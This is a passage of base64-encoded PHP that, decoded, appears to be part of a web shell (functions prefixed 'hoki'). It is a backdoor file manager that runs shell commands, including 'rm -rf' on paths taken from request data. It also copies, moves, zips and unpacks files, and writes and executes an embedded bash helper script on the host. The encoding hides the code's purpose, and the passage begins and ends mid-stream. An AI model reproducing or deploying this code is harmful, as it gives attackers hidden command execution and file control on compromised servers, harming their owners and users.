p9CmlmKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpCmZvcmVhY2goJF9QT1NUWydmJ10gYXMgJGYpewppZigkZiA9PSAnLi4nKQpjb250aW51ZTsKJGYgPSByYXd1cmxkZWNvZGUoJGYpOwppZigkR0xPQkFMU1siZ2xvYl9jaGRpcl9mYWxzZSJdKXsKC
WlmKF9ob2tpX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewoJCWhva2lFeCgicm0gLXJmICciLmFkZHNsYXNoZXMoJF9QT1NUWydjJ10uJy8nLiRmKS4iJyIpOwoJfQp9ZWxzZXsKaG9raUV4KCJybSAtcmYgJyIuYWRkc2xhc2hlcygkZikuIici
LGZhbHNlLGZhbHNlKTsKaWYoQGlzX2RpcigkZikpCmRlbGV0ZURpcigkZik7CmVsc2UKQHVubGluaygkZik7Cn0KfQppZihAaXNfZGlyKHJhd3VybGRlY29kZShAJF9QT1NUWydob2tpMiddKSkmJnJhd3VybGRlY29kZShAJF9QT1NUWydob2tpMid
dKSE9Jy4uJyl7CmRlbGV0ZURpcihyYXd1cmxkZWNvZGUoQCRfUE9TVFsnaG9raTInXSkpOwpob2tpRXgoInJtIC1yZiAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnaG9raTInXSkuIiciLGZhbHNlLGZhbHNlKTsKfWVsc2V7CkB1bmxpbmsocmF3dXJsZG
Vjb2RlKEAkX1BPU1RbJ2hva2kyJ10pKTsKfQppZigkR0xPQkFMU1siZ2xvYl9jaGRpcl9mYWxzZSJdKXsKCSRzb3VyY2UgPSByYXd1cmxkZWNvZGUoQCRfUE9TVFsnaG9raTInXSk7CglpZigkc291cmNlIT0nLi4nJiYhZW1wdHkoJHNvdXJjZSkpe
woJCWlmKF9ob2tpX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewoJCQlob2tpRXgoImNkICciLnRyaW0oYWRkc2xhc2hlcygkX1BPU1RbJ2MnXSkpLiInO3JtIC1yZiAnIi5hZGRzbGFzaGVzKCRzb3VyY2UpLiInIik7CgkJfQoJfQp9CmlmKGlz
X2FycmF5KCRfUE9TVFsnZiddKSkKcmV0dXJuOwpicmVhazsKY2FzZSAncGFzdGUnOgppZigkX0NPT0tJRVsnaG9raV9hY3QnXSA9PSAnY29weScmJmlzc2V0KCRfQ09PS0lFWydob2tpX2YnXSkpewpmb3JlYWNoKCRfQ09PS0lFWydob2tpX2YnXSB
hcyAkZikKY29weV9wYXN0ZSgkX0NPT0tJRVsnaG9raV9jJ10sJGYsICRHTE9CQUxTWydjd2QnXSk7Cn1lbHNlaWYoJF9DT09LSUVbJ2hva2lfYWN0J10gPT0gJ21vdmUnJiZpc3NldCgkX0NPT0tJRVsnaG9raV9mJ10pKXsKZnVuY3Rpb24gbW92ZV
9wYXN0ZSgkYywkcywkZCl7CmlmKEBpc19kaXIoJGMuJHMpKXsKQG1rZGlyKCRkLiRzKTsKJGggPSBAb3BlbmRpcigkYy4kcyk7CndoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkKaWYoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiL
i4iKSkKY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7Cn1lbHNlaWYoQGlzX2ZpbGUoJGMuJHMpKQpAY29weSgkYy4kcywgJGQuJHMpOwp9CmZvcmVhY2goJF9DT09LSUVbJ2hva2lfZiddIGFzICRmKQpAcmVuYW1lKCRfQ09PS0lF
Wydob2tpX2MnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsKfWVsc2VpZigkX0NPT0tJRVsnaG9raV9hY3QnXSA9PSAnemlwJyYmaXNzZXQoJF9DT09LSUVbJ2hva2lfZiddKSl7CmlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKXsKJHppcCA
9IG5ldyBaaXBBcmNoaXZlKCk7CiR6aXBYID0gImhva2lfIi5yYW5kKDEsMTAwMCkuIi56aXAiOwppZigkemlwLT5vcGVuKCR6aXBYLCAxKSl7CkBjaGRpcigkX0NPT0tJRVsnaG9raV9jJ10pOwpmb3JlYWNoKCRfQ09PS0lFWydob2tpX2YnXSBhcy
AkZil7CmlmKCRmID09ICcuLicpY29udGludWU7CmlmKEBpc19maWxlKCRfQ09PS0lFWydob2tpX2MnXS4kZikpCiR6aXAtPmFkZEZpbGUoJF9DT09LSUVbJ2hva2lfYyddLiRmLCAkZik7CmVsc2VpZihAaXNfZGlyKCRfQ09PS0lFWydob2tpX2MnX
S4kZikpewokaXRlcmF0b3IgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGYuJy8nKSk7CmZvcmVhY2goJGl0ZXJhdG9yIGFzICRrZXk9PiR2YWx1ZSl7CiRrZXkgPSBzdHJfcmVw
bGFjZSgnXFwnLCcvJyxyZWFscGF0aCgka2V5KSk7CmlmKEBpc19kaXIoJGtleSkpewppZihpbl9hcnJheShzdWJzdHIoJGtleSwgc3RycnBvcygka2V5LCcvJykrMSksYXJyYXkoJy4nLCAnLi4nKSkpY29udGludWU7Cn1lbHNleyR6aXAtPmFkZEZ
pbGUoJGtleSwka2V5KTt9fX19CkBjaGRpcigkR0xPQkFMU1snY3dkJ10pOwokemlwLT5jbG9zZSgpOwpfX2FsZXJ0KCc+PiAnLiR6aXBYLicgPDwgaXMgY3JlYXRlZC4uLicpO319Cn1lbHNlaWYoJF9DT09LSUVbJ2hva2lfYWN0J10gPT0gJ3Vuem
lwJyYmaXNzZXQoJF9DT09LSUVbJ2hva2lfZiddKSl7CmlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKXsKJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CmZvcmVhY2goJF9DT09LSUVbJ2hva2lfZiddIGFzICRmKSB7CmlmKCR6aXAtPm9wZW4oJ
F9DT09LSUVbJ2hva2lfYyddLiRmKSl7CiR6aXAtPmV4dHJhY3RUbygkX0NPT0tJRVsnaG9raV9jd2QnXSk7CiR6aXAtPmNsb3NlKCk7fX19fQp1bnNldCgkX0NPT0tJRVsnaG9raV9mJ10pOwpicmVhazsKZGVmYXVsdDoKaWYoIWVtcHR5KCRfUE9T
VFsnaG9raTEnXSkpewppZihpbl9hcnJheSgkX1BPU1RbJ2hva2kxJ10sIGFycmF5KCJjb3B5IiwgIm1vdmUiLCAiemlwIiwgInVuemlwIikpKXsKX19ob2tpX3NldF9jb29raWUoJ2hva2lfYWN0JywgQCRfUE9TVFsnaG9raTEnXSk7Cl9faG9raV9
zZXRfY29va2llKCdob2tpX2YnLCBAc2VyaWFsaXplKCRfUE9TVFsnZiddKSk7Cl9faG9raV9zZXRfY29va2llKCdob2tpX2MnLCBAJF9QT1NUWydjJ10pOwpyZXR1cm47Cn0KfQpicmVhazsKfQp9CiRkaXJDb250ZW50ID0gQHNjYW5kaXIoaXNzZX
QoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7CmlmKHByZWdfbWF0Y2goIiMoLiopXC9cLlwuIyIsICRfUE9TVFsnYyddLCAkcmVzKSl7CgkkcGF0aCA9IGV4cGxvZGUoJy8nLCAkcmVzWzFdKTsKCWFycmF5X3BvcCgkc
GF0aCk7CgkkX1BPU1RbJ2MnXSA9IGltcGxvZGUoJy8nLCAkcGF0aCk7Cn0KJGNtZF9kaXIgPSBmYWxzZTsKaWYoJGRpckNvbnRlbnQgPT09IGZhbHNlKXsKCWlmKF9ob2tpX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewoJCSR0bXBfZ2V0ZGly
X3BhdGggPSBAJF9DT09LSUVbImhva2ljaGRpcl9iYXNoX3BhdGgiXTsKCQlAY2hkaXIoZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKTsKCQlpZighaXNzZXQoJF9DT09LSUVbImhva2ljaGRpcl9iYXNoIl0pfHxAIWZpbGVfZXh
pc3RzKCR0bXBfZ2V0ZGlyX3BhdGguIi9ob2tpY2dpYXBpL2dldGRpci5ob2tpIikpewoJCQkkYmFzaCA9ICJqWlRmYjVzd0VNZWY0YSs0dWFZa1NtbVMvWXBFd3NPa3FWTmZPKzFoU3FLS2dnbld3STRNRWFGcHBMM3Z2OXhmVXRzWVNLcE1XaDZJNy
9POU85dmNIVmZ2eHJ0Q2pKOG9HeGVwL2ZYK0ljQlQrLzd1ZTREZEZYTnRFcVVjMEJMWkNSZEFnVExBZzZ3QUx3UXNmWWR6aUxrTjhyY055elJBaW8weFJSclJCSlpMd0JTQ0FORHRMWUxyYS9EMk1yNUthWlNDSUdHY1VmWnJDT3YxSE1xVU1CM1ZKY
09EMWdPOEJMQml3ODZEQmhwb082RzJSVm5DWlVSUmhpVjRFU0Ruem5kKytNNDMzeWw4NTZjL2NVTGYrWUxhTEphNm4rdTcrZ3pnQ1hXZFVJaXdoc1ZpQVFpcmJNaTJ5bnBMQW56UXluS3lQdXJkZU1XSTZPalUwSTNndTIxSDMwdHFGZlM1ai82Z1NN
NWptdFFkKzJoaXQwVGtiSmQzL05NSlQzZDV5RHJsczFFWXFSNTcxWFdiMXlBTE5CZ0FwY0ZrTHA4TGZManFmSTZLakVZdzdBdjJKc3RJRnUvUVdUNm0xSjhlLy83KzA1UXk1b3k4UGROWnVLeEFVMjF6R1YzenlYUTJtNkcrdkpiVlhoVk5sR0pBa3c
vRlFtNVg3ZVZEVlBLeEY1VjAwTFhWbWIxS0ZrYVZUeVZVcmFTWU9HRm5tMFE4NHlKQWVValo0MFlRd3ZSUlpVS1NtWFQvRlNvN3RTUjlhRUV1K0FnU3R4NzlhYkhxSGYwU1lpcElWSEpSbjIya1cwdHBKMGZxWXdUWjdMSlF5TTdPaUw3dXk4dGxCNU
p2eS9yZmJrV2RQL0dNUnFDbTZNTCtPckE1dHA3end3cXhNQ2NyNU1OS1RzRUszY2gvNVdwSXMxUlFUNEdoWnEyd0hnT0R6VnBoTlFxR05rc0ZtMmt3dURXVVlKckVLSjNWU3JwZFRrUmp0N0l1ellsczdPT05yWnU0K1o0ZGptdjBDZz09IjsKCQkJJ
HRtcF9nZXRkaXJfcGF0aCA9IGhva2lXcml0ZVRvY2dpYXBpKCJnZXRkaXIuaG9raSIsJGJhc2gpOwoJCQlfX2hva2lfc2V0X2Nvb2tpZSgiaG9raWNoZGlyX2Jhc2giLCAidHJ1ZSIpOwoJCQlfX2hva2lfc2V0X2Nvb2tpZSgiaG9raWNoZGlyX2Jh
c2hfcGF0aCIsICR0bXBfZ2V0ZGlyX3BhdGgpOwoJCX0KCQkkZGlyQ29udGVudCA9IGhva2lFeCgiY2QgIi4kdG1wX2dldGRpcl9wYXRoLiIvaG9raWNnaWFwaTtzaCBnZXRkaXIuaG9raSAnIi5hZGRzbGFzaGVzKGlzc2V0KCRfUE9TVFsnYyddKT8
kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pLiInIik7CgkJJGRpckNvbnRlbnQgPSBqc29uX2RlY29kZSgkZGlyQ29udGVudCwgdHJ1ZSk7CgkJaWYoaXNfYXJyYXkoJGRpckNvbnRlbnQpKXsKCQkJYXJyYXlfcG9wKCRkaXJDb250ZW50KTsKCQ
kJJGNtZF9kaXIgPSB0cnVlOwoJCX1lbHNlewoJCQkkZGlyQ29udGVudCA9IGZhbHNlOwoJCX0KCX0KfQpob2tpaGVhZCgpOwpIb2tpTnVtKDgsOSwxMCw3LDYsNSw0KTsKJGNvdW50X2RpckNvbnRlbnQgPSBAY291bnQoJGRpckNvbnRlbnQpOwppZ
igkY291bnRfZGlyQ29udGVudCA+IDMwMCl7CglAJF9DT09LSUVbImhva2lfbGltaXRlZF9maWxlcyJdID0gMTAwOwp9CiRob2tpX3NvcnRfYnkgPSBpc3NldCgkX0NPT0tJRVsiaG9raV9zb3J0X2J5Il0pID8gJF9DT09LSUVbImhva2lfc29ydF9i
eSJdIDogJ25hbWUnOwokaG9raV9saW1pdGVkX2ZpbGVzID0gaXNzZXQoJF9DT09LSUVbImhva2lfbGltaXRlZF9maWxlcyJdKSA/IChpbnQpJF9DT09LSUVbImhva2lfbGltaXRlZF9maWxlcyJdIDogMDsKJGhva2lfZmlsZXNfcGFnZV9udW1iZXI
gPSBpc3NldCgkX1BPU1RbInBhZ2VudW0iXSkgPyAoaW50KSRfUE9TVFsicGFnZW51bSJdIDogMTsKJGhva2lfZmlsZXNtYW5fZGlyZWN0aW9uID0gaXNzZXQoJF9DT09LSUVbImhva2lfZmlsZXNtYW5fZGlyZWN0aW9uIl0pID8gJF9DT09LSUVbIm
hva2lfZmlsZXNtYW5fZGlyZWN0aW9uIl0gOiAnYXNjJzsKJGZpbGVzX3BhZ2VfY291bnQgPSAxOwppZigkaG9raV9saW1pdGVkX2ZpbGVzID4gMCl7CgkkZmlsZXNfcGFnZV9jb3VudCA9IGNlaWwoJGNvdW50X2RpckNvbnRlbnQvJGhva2lfbGlta
XRlZF9maWxlcyk7CglpZigkZmlsZXNfcGFnZV9jb3VudCA+IDEpewoJCSRmaWxlc19wYWdlX2NvdW50Kys7Cgl9Cn0KZWNobyAnPGRpdj48ZGl2IGNsYXNzPSJmaWx0ZXJzLWhvbGRlciI+PHNwYW4+RmlsdGVyOiA8L3NwYW4+PGlucHV0IHN0eWxl
PSJjb2xvcjojMjVmZjAwOyIgYXV0b2NvbXBsZXRlPSJvZmYiIHR5cGU9InRleHQiIGlkPSJyZWdleC1maWx0ZXIiIG5hbWU9Im5hbWUtZmlsdGVyIiBvbmtleWRvd249ImRvRmlsdGVyTmFtZSh0aGlzKTsiPjxzcGFuIHN0eWxlPSJtYXJnaW4tbGV
mdDoxMHB4Ij5Tb3J0IEJ5OiA8L3NwYW4+PHNlbGVjdCBuYW1lPSJzb3J0X2ZpbGVzIiBvbmNoYW5nZT0ic29ydEJ5U2VsZWN0ZWRWYWx1ZSh0aGlzLFwnaG9raV9zb3J0X2J5XCcpOyIgc3R5bGU9ImNvbG9yOiMyNWZmMDA7Ij48b3B0aW9uIHZhbH
VlPSJuYW1lIiAnLigkaG9raV9zb3J0X2J5ID09ICduYW1lJz8nc2VsZWN0ZWQnOicnKS4nPk5hbWU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzaXplIiAnLigkaG9raV9zb3J0X2J5ID09ICdzaXplJz8nc2VsZWN0ZWQnOicnKS4nPlNpemU8L29wd
Glvbj48b3B0aW9uIHZhbHVlPSJtb2RpZnkiICcuKCRob2tpX3NvcnRfYnkgPT0gJ21vZGlmeSc/J3NlbGVjdGVkJzonJykuJz5Nb2RpZnk8L29wdGlvbj48L3NlbGVjdD48c3BhbiBzdHlsZT0ibWFyZ2luLWxlZnQ6MTBweCI+RGlyZWN0aW9uOiA8
L3NwYW4+PHNlbGVjdCBuYW1lPSJkaXJlY3Rpb25fZmlsZXNtYW4iIG9uQ2hhbmdlPSJzb3J0QnlTZWxlY3RlZFZhbHVlKHRoaXMsXCdob2tpX2ZpbGVzbWFuX2RpcmVjdGlvblwnKSIgc3R5bGU9ImNvbG9yOiMyNWZmMDA7Ij48b3B0aW9uIHZhbHV
lPSJhc2MiICcuKCRob2tpX2ZpbGVzbWFuX2RpcmVjdGlvbiA9PSAnYXNjJz8nc2VsZWN0ZWQnOicnKS4nPkFzY2VuZGluZzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImRlc2MiICcuKCRob2tpX2ZpbGVzbWFuX2RpcmVjdGlvbiA9PSAnZGVzYyc/J3
NlbGVjdGVkJzonJykuJz5EZXNjZW5kaW5nPC9vcHRpb24+PC9zZWxlY3Q+PHNwYW4gc3R5bGU9Im1hcmdpbi1sZWZ0OjEwcHg7Ij4gbGltaXQ6IDwvc3Bhbj48aW5wdXQgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyO3dpZHRoOiA0MHB4O2NvbG9yO
iMyNWZmMDA7IiB0eXBlPSJ0ZXh0IiBuYW1lPSJsaW1pdGVkX251bWJlciIgdmFsdWU9IicuJGhva2lfbGltaXRlZF9maWxlcy4nIiBvbmlucHV0PSJ0aGlzLnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSgvW14wLTldL2csXCdcJyk7c2V0Q29va2ll
KFwnaG9raV9saW1pdGVkX2ZpbGVzXCcsIHRoaXMudmFsdWUsIDIwMTIpOyI+PHNwYW4gc3R5bGU9Im1hcmdpbi1sZWZ0OjEwcHg7Ij5GaWxlcyBDb3VudDogPGIgc3R5bGU9ImNvbG9yOiMyNWZmMDA7Ij4nLigkY291bnRfZGlyQ29udGVudC0xKS4
nPC9iPjwvc3Bhbj48L2Rpdj48ZGl2IGNsYXNzPSJoZWFkZXIiPic7CmlmKCRkaXJDb250ZW50ID09IGZhbHNlKXsKZWNobyAnPGNlbnRlcj48YnI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxNnB4OyI+PHNwYW4gc3R5bGU9ImNvbG9yOiByZWQ7IC
13ZWJraXQtdGV4dC1zaGFkb3c6IDFweCAxcHggMTNweDsiPjxzdHJvbmc+PGI+PGJpZz4hISEgQWNjZXNzIERlbmllZCAhISE8L2I+PC9iaWc+PGJyPjxicj48L3N0cm9uZz48L2Rpdj4nOwpob2tpRm9vdGVyKCk7CnJldHVybjsKfQpnbG9iYWwgJ
HNvcnQ7CiRzb3J0ID0gYXJyYXkoJ25hbWUnLCAxKTsKaWYoaXNzZXQoJF9DT09LSUVbImhva2lfc29ydF9ieSJdKSAmJiAhZW1wdHkoJF9DT09LSUVbImhva2lfc29ydF9ieSJdKSl7Cgkkc29ydFswXSA9ICRfQ09PS0lFWyJob2tpX3NvcnRfYnki
XTsKfQppZighZW1wdHkoJF9QT1NUWydob2tpMSddKSkgewppZihwcmVnX21hdGNoKCchc18oW0Etel0rKV8oXGR7MX0pIScsICRfUE9TVFsnaG9raTEnXSwgJG1hdGNoKSkKJHNvcnQgPSBhcnJheSgkbWF0Y2hbMV0sIChpbnQpJG1hdGNoWzJdKTs
KfQppZigkaG9raV9maWxlc19wYWdlX251bWJlciA+ICgkZmlsZXNfcGFnZV9jb3VudC0xKSl7CgkkaG9raV9maWxlc19wYWdlX251bWJlciA9IDE7Cn0KJGNoZWNrYm94X3JhbmQgPSByYW5kKDExMTExLCA5OTk5OSk7CmVjaG8gIjxmb3JtIG9uc3
VibWl0PSdmYyh0aGlzKTtyZXR1cm4gZmFsc2U7JyBuYW1lPSdmaWxlcycgbWV0aG9kPSdwb3N0Jz48dGFibGUgaWQ9J2ZpbGVtYW5hZ2VyX3RhYmxlJyB3aWR0aD0nMTAwJScgY2xhc3M9J21haW4nIGNlbGxzcGFjaW5nPScwJyBjZWxscGFkZGluZ
z0nMic+PHRyPjx0aCB3aWR0aD0nMTNweCc+PGRpdiBjbGFzcz0nbXlDaGVja2JveCcgc3R5bGU9J3BhZGRpbmctbGVmdDowcHg7Jz48aW5wdXQgdHlwZT0nY2hlY2tib3gnIGlkPSdtY2hrIi4kY2hlY2tib3hfcmFuZC4iJyBvbmNsaWNrPSdjaGVj
a0JveCh0aGlzKTsnIGNsYXNzPSdjaGtieCc+PGxhYmVsIGZvcj0nbWNoayIuJGNoZWNrYm94X3JhbmQuIic+PC9sYWJlbD48L2Rpdj48L3RoPjx0aD5OYW1lPC90aD48dGg+U2l6ZTwvdGg+PHRoPk1vZGlmeTwvdGg+PHRoPk93bmVyL0dyb3VwPC9
0aD48dGg+UGVybWlzc2lvbnM8L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPiI7CiRkaXJzID0gJGZpbGVzID0gYXJyYXkoKTsKJG4gPSAkY291bnRfZGlyQ29udGVudDsKaWYoJG4gPiAkaG9raV9saW1pdGVkX2ZpbGVzICYmICRob2tpX2xpbWl0ZW
RfZmlsZXMgPiAwKXsKCSRuID0gKCRob2tpX2xpbWl0ZWRfZmlsZXMgKiAkaG9raV9maWxlc19wYWdlX251bWJlcik7CglpZigkbiA+ICRjb3VudF9kaXJDb250ZW50KXsKCQkkbiA9ICRjb3VudF9kaXJDb250ZW50OwoJfQp9CiRpID0gMDsKaWYoJ
Ghva2lfbGltaXRlZF9maWxlcyA+IDAgJiYgJGhva2lfZmlsZXNfcGFnZV9udW1iZXIgPiAxKXsKCSRpID0gJGhva2lfbGltaXRlZF9maWxlcyAqICgkaG9raV9maWxlc19wYWdlX251bWJlciAtIDEpOwp9CiRwYWdlX2J1aWxkZXIgPSBnZXRfcGFn
aW5hdGlvbl9saW5rcygkaG9raV9maWxlc19wYWdlX251bWJlciwkZmlsZXNfcGFnZV9jb3VudCAtMSk7CiRjbWRfZGlyX2JhY2twID0gIiI7CmZvcig7JGk8JG47JGkrKyl7CmlmKCRjbWRfZGlyKXsKJGZpbGVuYW1lID0gJGRpckNvbnRlbnRbJGl
dWyJuYW1lIl07CiRmaWxlX293bmVyID0gJGRpckNvbnRlbnRbJGldWyJvd25lciJdOwokZmlsZV9ncm91cCA9ICRkaXJDb250ZW50WyRpXVsiZ3JvdXAiXTsKJGZpbGVfbW9kaWZ5ID0gQGRhdGUoJ1ktbS1kIEg6aTpzJywgJGRpckNvbnRlbnRbJG
ldWyJtb2RpZnkiXSk7CiRmaWxlX3Blcm0gPSBob2tpUGVybXNDb2xvcihhcnJheSgiY2xhc3MiPT4kZGlyQ29udGVudFskaV1bInBlcm1jb2xvciJdLCJudW0iPT4kZGlyQ29udGVudFskaV1bInBlcm1udW0iXSwiaHVtYW4iPT4kZGlyQ29udGVud
FskaV1bInBlcm1odW1hbiJdKSx0cnVlKTsKJGZpbGVfc2l6ZSA9ICRkaXJDb250ZW50WyRpXVsic2l6ZSJdOwppZihzdWJzdHIoJGRpckNvbnRlbnRbJGldWyJuYW1lIl0sIDAgLDEpID09ICIvIil7CiRmaWxlX3BhdGggPSAkZGlyQ29udGVudFsk
aV1bIm5hbWUiXTsKJGRpckNvbnRlbnRbJGldWyJuYW1lIl0gPSAiLi4iOwokZmlsZW5hbWUgPSAkZGlyQ29udGVudFskaV1bIm5hbWUiXTsKfWVsc2V7CiRmaWxlX3BhdGggPSAkR0xPQkFMU1snY3dkJ10uIi8iLiRkaXJDb250ZW50WyRpXVsibmF
tZSJdOwp9Cn1lbHNlewokZmlsZW5hbWUgPSAkZGlyQ29udGVudFskaV07CiRvdyA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJmaWxlb3duZXIiKT9AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lci
gkR0xPQkFMU1snY3dkJ10uJGZpbGVuYW1lKSk6YXJyYXkoIm5hbWUiID0+ICI/Pz8/Iik7CiRnciA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJmaWxlZ3JvdXAiKT9AcG9zaXhfZ2V0Z3JnaWQoQ
GZpbGVncm91cCgkR0xPQkFMU1snY3dkJ10uJGZpbGVuYW1lKSk6YXJyYXkoIm5hbWUiID0+ICI/Pz8/Iik7CiRmaWxlX293bmVyID0gJG93WyduYW1lJ10/JG93WyduYW1lJ106KGZ1bmN0aW9uX2V4aXN0cygiZmlsZW93bmVyIik/QGZpbGVvd25l
cigkR0xPQkFMU1snY3dkJ10uJGZpbGVuYW1lKToiPz8/PyIpOwokZmlsZV9ncm91cCA9ICRnclsnbmFtZSddPyRnclsnbmFtZSddOihmdW5jdGlvbl9leGlzdHMoImZpbGVncm91cCIpP0BmaWxlZ3JvdXAoJEdMT0JBTFNbJ2N3ZCddLiRmaWxlbmF
tZSk6Ij8/Pz8iKTsKJGZpbGVfbW9kaWZ5ID0gQGRhdGUoJ1ktbS1kIEg6aTpzJywgQGZpbGVtdGltZSgkR0xPQkFMU1snY3dkJ10gLiAkZmlsZW5hbWUpKTsKJGZpbGVfcGVybSA9IGhva2lQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXS4kZmlsZW
5hbWUpOwokZmlsZV9zaXplID0gQGZpbGVzaXplKCRHTE9CQUxTWydjd2QnXS4kZmlsZW5hbWUpOwokZmlsZV9wYXRoID0gJEdMT0JBTFNbJ2N3ZCddLiRmaWxlbmFtZTsKfQokdG1wID0gYXJyYXkoJ25hbWUnID0+ICRmaWxlbmFtZSwKJ3BhdGgnI
D0+ICRmaWxlX3BhdGgsCidtb2RpZnknID0+ICRmaWxlX21vZGlmeSwKJ3Blcm1zJyA9PiAkZmlsZV9wZXJtLAonc2l6ZScgPT4gJGZpbGVfc2l6ZSwKJ293bmVyJyA9PiAkZmlsZV9vd25lciwKJ2dyb3VwJyA9PiAkZmlsZV9ncm91cAopOwppZigk
ZmlsZW5hbWUgPT0gIi4uIiAmJiAhJGNtZF9kaXIpewoJJHRtcFsicGF0aCJdID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCByZWFscGF0aCgkZmlsZV9wYXRoKSk7Cn0KaWYoISRjbWRfZGlyKXsKaWYoQGlzX2ZpbGUoJGZpbGVfcGF0aCkpewokYXJ
yX21yZyA9IGFycmF5KCd0eXBlJyA9PiAnZmlsZScpOwppZihAaXNfbGluaygkZmlsZV9wYXRoKSl7CiRhcnJfbXJnWyJsaW5rIl0gPSByZWFkbGluaygkdG1wWydwYXRoJ10pOwp9CiRmaWxlc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgJGFycl9tcm
cpOwp9ZWxzZWlmKEBpc19saW5rKCRmaWxlX3BhdGgpKXsKJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnbGluaycsICdsaW5rJyA9PiByZWFkbGluaygkdG1wWydwYXRoJ10pKSk7Cn1lbHNlaWYoQGlzX2RpcigkZ
mlsZV9wYXRoKSYmICgkZmlsZW5hbWUgIT0gIi4iKSl7CiRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2RpcicpKTsKfQp9ZWxzZXsKCWlmKCRkaXJDb250ZW50WyRpXVsidHlwZSJdPT0iZmlsZSIpewoJCSRmaWxl
c1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdmaWxlJykpOwoJfWVsc2V7CgkJaWYoJGRpckNvbnRlbnRbJGldWyJuYW1lIl0gIT0gIi4iKXsKCQkJJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA
9PiAnZGlyJykpOwoJCX0KCX0KfQp9CiRHTE9CQUxTWydzb3J0J10gPSAkc29ydDsKZnVuY3Rpb24gaG9raUNtcCgkYSwgJGIpIHsKaWYoJEdMT0JBTFNbJ3NvcnQnXVswXSAhPSAnc2l6ZScpCnJldHVybiBzdHJjbXAoc3RydG9sb3dlcigkYVskR0
xPQkFMU1snc29ydCddWzBdXSksIHN0cnRvbG93ZXIoJGJbJEdMT0JBTFNbJ3NvcnQnXVswXV0pKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsKZWxzZQpyZXR1cm4gKCgkYVsnc2l6ZSddIDwgJGJbJ3NpemUnXSkgPyAtMSA6IDEpKigkR0xPQ
kFMU1snc29ydCddWzFdPzE6LTEpOwp9CnVzb3J0KCRmaWxlcywgImhva2lDbXAiKTsKdXNvcnQoJGRpcnMsICJob2tpQ21wIik7CmlmKGlzc2V0KCRfQ09PS0lFWyJob2tpX2ZpbGVzbWFuX2RpcmVjdGlvbiJdKSYmICFlbXB0eSgkX0NPT0tJRVsi
aG9raV9maWxlc21hbl9kaXJlY3Rpb24iXSkpewoJaWYoJF9DT09LSUVbImhva2lfZmlsZXNtYW5fZGlyZWN0aW9uIl0gPT0gJ2Rlc2MnKXsKCQkkZmlsZXMgPSBhcnJheV9yZXZlcnNlKCRmaWxlcyk7CgkJJGRpcnMgPSBhcnJheV9yZXZlcnNlKCR
kaXJzKTsKCX0KfQokZmlsZXMgPSBhcnJheV9tZXJnZSgkZGlycywgJGZpbGVzKTsKJGw9MDsKJGNjPTA7CmZvcmVhY2goJGZpbGVzIGFzICRmKXsKJGZbJ25hbWUnXSA9IGh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSk7CiRuZXduYW1lID0gbW
Jfc3RybGVuKCRmWyduYW1lJ10sICdVVEYtOCcpPjYwP21iX3N1YnN0cigkZlsnbmFtZSddLCAwLCA2MCwgJ3V0Zi04JykuJy4uLic6JGZbJ25hbWUnXTsKJGNoZWNrYm94ID0gJ2NoZWNrYm94XycuJGNoZWNrYm94X3JhbmQuJGNjOwokcmF3X25hb
WUgPSByYXd1cmxlbmNvZGUoJGZbJ25hbWUnXSk7CiRpY29uID0gJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2hvd19pY29ucyddPyc8aW1nIHNyYz0iJy5maW5kaWNvbigkZlsnbmFtZSddLCRmWyd0eXBlJ10pLiciIHdpZHRoPSIzMCIgaGVpZ2h0PSIz
MCI+JzonJzsKJHN0eWxlID0gJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2hvd19pY29ucyddPydwb3NpdGlvbjpyZWxhdGl2ZTtkaXNwbGF5OmlubGluZS1ibG9jaztib3R0b206MTJweDsnOicnOwplY2hvICc8dHIgY2xhc3M9ImZtYW5hZ2VyLXJvdyI
